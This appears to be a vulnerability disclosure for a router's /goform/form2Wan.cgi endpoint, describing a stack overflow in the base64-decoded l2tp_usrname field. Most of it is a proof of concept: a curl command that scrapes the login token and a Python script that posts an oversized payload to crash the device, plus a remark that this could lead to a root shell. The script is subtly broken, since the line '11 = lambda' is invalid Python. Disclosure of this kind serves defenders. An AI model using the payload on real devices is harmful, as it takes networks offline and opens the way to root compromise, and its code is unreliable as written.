







The picture above shows the latest firmware for this version

Vulnerability details

Vulnerability occurs in /goform/form2Wan.cgi, When wantype is 3, l2tp_usrname will be decrypted by base64, and the result will be stored in v94, which does not check the size of l2tp_usrname, resulting in stack overflow

Poc

The first thing you need to do is to get the tokenid

```
curl http://192.168.0.1/dir_login.asp | grep tokenid
```

Then run the following poc

```
import requests
import base64
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
11 = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
tokenid = 'xxxx'
url = 'http://192.168.0.1/goform/form2Wan.cgi'
payload = base64.b64encode(b'a' * 10000)
data = {
    'tokenid' : tokenid,
    'wantype' : '3',
    'l2tp_usrname' : payload,
    'l2tp_psword' : payload
}
response = requests.post(url, data=data)
response.encoding="utf-8"
info = response.text
li(url)
print(info)
```

You can see the router crash, and finally you can write an exp to get a root shell